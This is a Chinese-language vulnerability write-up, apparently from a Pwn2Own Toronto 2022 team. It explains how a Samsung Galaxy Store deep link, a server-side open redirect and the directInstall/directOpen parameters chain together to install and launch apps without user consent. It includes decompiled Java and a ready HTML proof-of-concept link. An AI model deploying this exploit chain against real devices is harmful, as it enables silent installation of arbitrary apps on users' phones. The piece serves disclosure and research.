TLDR;
我们在Pwn2Own Toronto 2022目标列表发布后立即开始了对三星的研究工作。
在本文中,我们将深入探讨在Pwn2Own 2022活动中发现的开放重定向漏洞的细节,以及我们如何在三星S22设备上利用它。通过分解技术方面并使用代码片段,我们旨在提供对这一关键安全漏洞的全面概述。
首先,我重新审视了我们团队去年的论文(由Li Jiantao和Nguyễn Hoàng Thạch撰写),其中确定了两个漏洞。其中一个漏洞在P2O中被利用,而另一个则被迅速修复。有趣的是,其中一个漏洞的详细文档可在此处获得,让读者更好地了解这个特定漏洞。
基本上,这个漏洞利用了三星设备上某些应用程序处理和解析深度链接的方式。它允许安装和启动任何应用程序,而无需用户的任何输入或操作。
什么是深度链接?
深度链接机制是大多数操作系统(如Windows、iOS、Linux和Android)中的一项功能。它允许程序将特定的URL或协议与操作系统关联,使用户在与这些URL交互时能够无缝重定向或打开其他程序。
例如,当你在浏览器中点击Teams会议链接时,设备上的Teams软件将自动启动并在应用程序内打开会议部分,而不是在浏览器中。
同样,在Android上,已安装的应用程序可以向操作系统注册深度链接URL或协议。当触发深度链接时,相应的应用程序会处理它并确定要采取的操作。
对于三星手机,它们通常附带一系列预装应用程序,包括Galaxy Store和Samsung Pay。这些应用程序具有各种权限,例如安装其他应用程序的能力。此外,它们处理大量深度链接,使它们成为潜在黑客的有吸引力的目标。这个漏洞为黑客利用这些深度链接提供了机会。
“旧”漏洞
在审查了我同事2021年的参赛作品后,我确定了最佳关注的应用程序:Galaxy Store。这是三星开发的第三方应用商店,出厂时预装在所有三星手机上。截至他们提交参赛作品时,他们提到的应用程序版本是4.5.48.3。
以下是Galaxy Store注册的一些深度链接示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
~betasamsungapps://GearBetaTestProductDetail~
class GearBetaTestProductDetailDeepLink
~betasamsungapps://GearBetaTestProductList~
class GearBetaTestProductListDeepLink
~normalbetasamsungapps://BetaTestProductDetail~
class BetaTestProductDetailDeepLink
~normalbetasamsungapps://instantplays~
InstantPlaysDeepLink.valueOf(p0)
~normalbetasamsungapps://BetaTestProductList~
class BetaTestProductListDeepLink
|
当我们在Web浏览器中打开URL betasamsungapps://GearBetaTestProductList
时,它会触发执行 GearBetaTestProductListDeepLink.runDeepLink()
方法,该方法将创建一个名为 GearAppBetaTestActivity
的新Intent:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
public class GearBetaTestProductListDeepLink extends DeepLink
{
public boolean runDeepLink(Context p0){
this.runDeepLinkImplement(p0);
return true;
}
private void runDeepLinkImplement(Context p0){
int i;
Intent intent = new Intent(p0, GearAppBetaTestActivity.class);
this.registerActivityToBixby(intent);
String str = "DeeplinkURI";
if (!TextUtils.isEmpty(this.getDeeplinkUrl())) {
i = 0;
try{
String str1 = URLDecoder.decode(this.getDeeplinkUrl(), "UTF-8");
}catch(java.io.UnsupportedEncodingException e4){
e4.printStackTrace();
}
if (!TextUtils.isEmpty(i)) {
intent.putExtra(str, i);
}
}else {
intent.putExtra(str, this.a());
}
i = 0x24000000;
try{
intent.setFlags(i);
p0.startActivity(intent);
}catch(java.lang.Exception e7){
///
}
return;
}
}
|
在2021年的参赛作品中,我们使用了一个名为 samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/
的深度链接。这个特定的深度链接由一个名为 McsWebViewActivity
的活动处理。深度链接中的url参数决定了将加载到Galaxy Store应用程序内部Webview中的Web地址。为了确保其有效性,使用了 McsWebViewActivity
中的 isValidUrl()
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public boolean isValidUrl(String str) {
boolean z = this.extra_is_deeplink;
if (z) {
if (z && !TextUtils.isEmpty(str)) {
if (!str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() + "/")) {
if (str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() + "/") || str.startsWith("https://img.samsungapps.com/")) {
}
}
}
return false;
}
return true;
}
|
内部Webview只允许从两个特定域加载:https://us.mcsvc.samsung.com
和 https://img.samsungapps.com
。您可以使用 Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain()
和 Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain()
方法检索这些域。这两种方法都将返回值 https://us.mcsvc.samsung.com
。
内部Webview可以包含“绑定”,允许从JavaScript上下文调用Java方法。此功能促进了两种编程语言之间的无缝通信。例如,考虑以下代码片段:
1
2
3
4
5
6
7
8
9
10
|
//McsWebViewActivity
private void a(WebSettings p0,String p1){
p0.setJavaScriptEnabled(true);
EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);
this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");
}
//EditorialScriptInterface
public void downloadApp(String p0){
///
}
|
在客户端,我们可以使用 GalaxyStore.downloadApp('app')
函数调用 EditorialScriptInterface.downloadApp()
。
此外,通过利用在 https://us.mcsvc.samsung.com/mcp25/devops/redirect.html
中发现的XSS漏洞,我们成功地在内部Webview中执行了JavaScript代码,并在三星手机上完成了应用程序的安装。有关更多详细信息,您可以参考以下链接:SSD Advisory: Galaxy Store Applications Installation Launching Without User Interaction。
“新”漏洞
当我开始审查论文时,我发现XSS漏洞已经修复,测试模式已被移除。然而,我决定进一步调查这个领域,希望能找到其他漏洞。
在花费了几个小时去混淆和研究源代码后,我遇到了一个开放重定向漏洞。
1
|
https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?product=samsungpay&actionType=eventURL&fallbackUrl=http://xxxxxx
|
通过将开放重定向漏洞与深度链接结合,我们可以显著增加其利用潜力。看以下示例:
1
|
samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html%3fproduct=samsungpay%26actionType=eventURL%26fallbackUrl=http://xxxxxx
|
当用户点击上述深度链接时,将加载一个带有URL us.mcsvc.samsung.com
的Webview,然后重定向到攻击者的网站。
此外,我们能够将任何URL加载到内部Webview中。然而,我们无法使用GalaxyStore绑定来安装新应用程序。这个限制是由于 EditorialScriptInterface.downloadApp()
方法中的验证过程。该方法在允许安装新应用程序之前验证URL是否来自 us.mcsvc.samsung.com
或 img.samsungapps.com
。
值得注意的是,与 McsWebViewActivity
关联的每个深度链接都由 McsWebViewClient
类处理,该类从 CommonWebViewClient
类扩展而来。McsWebViewClient.shouldOverrideUrlLoading()
方法负责检查和处理每个URL,包括重定向的URL。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
Loger.d(MCSApi.LOG_TAG, "shouldOverrideUrlLoading : " + str);
if (webView == null || webView.getContext() == null || TextUtils.isEmpty(str)) {
return super.shouldOverrideUrlLoading(webView, str);
}
Uri parse = Uri.parse(str);
String scheme = parse.getScheme();
String host = parse.getHost();
if ("intent".equalsIgnoreCase(scheme)) {
//...
} else if ("samsungapps".equalsIgnoreCase(scheme) && "launch".equalsIgnoreCase(host)) {
//...
} else if ("samsungapps".equalsIgnoreCase(scheme) && "internalweb".equalsIgnoreCase(host)) {
//...
} else if (!"samsungapps".equalsIgnoreCase(scheme) || !"externalweb".equalsIgnoreCase(host)) {
return super.shouldOverrideUrlLoading(webView, str);
} else {
//...
}
}
|
如果URL协议不是 samsungapps
且主机不是 internalweb
,URL将由超类 CommonWebViewClient.shouldOverrideUrlLoading()
处理。请参阅以下代码片段作为参考:
1
2
3
4
5
6
7
8
9
10
11
12
|
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
if (!(str == null || str.length() == 0)) {
Uri parse = Uri.parse(str);
String scheme = parse.getScheme();
String host = parse.getHost();
if (("samsungapps".equalsIgnoreCase(scheme) || ((host.equalsIgnoreCase("apps.samsung.com") || host.equalsIgnoreCase("www.samsungapps.com")) && ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)))) && (webView.getContext() instanceof Activity) && new DeeplinkUtil((Activity) webView.getContext()).openInternalDeeplink(parse.toString())) {
return true;
}
//...
}
return false;
}
|
此方法处理具有https或http协议且主机名为 apps.samsung.com
的URL。当遇到此类URL时,调用 DeeplinkUtil.openInternalDeeplink()
函数来处理它们。
内部深度链接使用不同的方法执行,GalaxyStore中的某些内部深度链接可以触发自动应用程序安装。在Pwn2Own Toronto 2022期间,我们使用了内部深度链接 https://apps.samsung.com/appquery/appDetail.as?appId=<app>
。此深度链接由 DetailAlleyPopupDeeplink.runInternalDeepLink()
函数处理:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public class DetailAlleyPopupDeeplink extends DetailPageDeepLink
{
public boolean runInternalDeepLink(Context p0){
if (!this.launchApp(p0, this.getDetailID())) {
String detailID = this.getDetailID();
boolean mIsStub = this.mIsStub;
String mSignId = this.mSignId;
String mQueryStr = this.mQueryStr;
String adSource = this.getAdSource();
String source = this.getSource();
String sender = (this.isDirectInstall())? this.getSender(): "";
DetailLaunchHelper.launch(p0, detailID, mIsStub, mSignId, mQueryStr, adSource, source, sender, this.isDirectInstall(), this.isDirectOpen(), this.deepLinkAppName, this.commonLogData, this.getDeeplinkUrl());
}
return true;
}
}
|
简而言之,如果您包含 directInstall
和 directOpen
参数,应用程序将自动安装并在安装后立即打开!
概念验证
1
2
3
4
5
6
7
|
<head>
</head>
<body>
<b><a id="exploit" href="samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs=kr%26product=samsungpay%26actionType=eventURL%26fallbackUrl=https://apps.samsung.com/appquery/appDetail.as%253fappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup">click_me</a></b>
</body>
<script>
</script>
|
您可以使用 fallbackUrl
参数指定三星应用程序应用程序详细信息的深度链接。应用程序详细信息的深度链接格式如下:https://apps.samsung.com/appquery/appDetail.as?appId=com.sec.android.app.popupcalculator&directInstall=true&directOpen=true&form=popup
。
要成功演示此概念验证(PoC),用户需要至少点击一次攻击者的链接。
演示
[演示内容]
“绕过”
在比赛前一周,三星正在积极解决我发现的一个漏洞。他们进行了大约两到三次修复尝试,最终在2022年12月2日解决了它。
每次修复后,我都设法找到了绕过方法,他们修复了我的绕过方法。这让我相信他们正在积极监控易受攻击的 us.mcsvc.samsung.com
网站并应用热修复。
这个漏洞的关键方面是它主要存在于服务器端,允许三星在不通知我们的情况下修补它。
最近的更新发生在注册截止前仅两小时。幸运的是,我及时成功地绕过了这个漏洞,并能够参加比赛:)
以下是我使用的补丁:
[补丁内容]
复现步骤
要复现此问题,请按照以下步骤操作:
步骤1:
_0x8033d6()
函数中的参数 _0x3015c4
接收变量 fallbackUrl
。之后,调用 _0x46f66f()
函数来解码存储在 fallbackUrl
中的URL,并将结果值赋给变量 _0x1851d7
:
[代码片段]
步骤2:
URL被解码,结果值 fallbackUrl
传递给 _0x5ea70f()
函数,以确定主机名是否匹配 www.sofi.com
:
[代码片段]
步骤3:
如果满足指定条件,将调用 location.replace()
方法将用户重定向到所需URL。_0x3015c4
参数将包含在重定向过程中:
[代码片段]
在步骤2中发现了一个漏洞。在此步骤中,fallbackUrl
被解码为URL,然后检查主机名。然而,在重定向过程中,使用的是原始的 fallbackUrl
而不是解码后的版本。
利用此漏洞,我能够构建一个绕过检查并重定向到所需主机的URL:
用户应将其Galaxy Store应用程序更新到可用的最新版本。
参考文献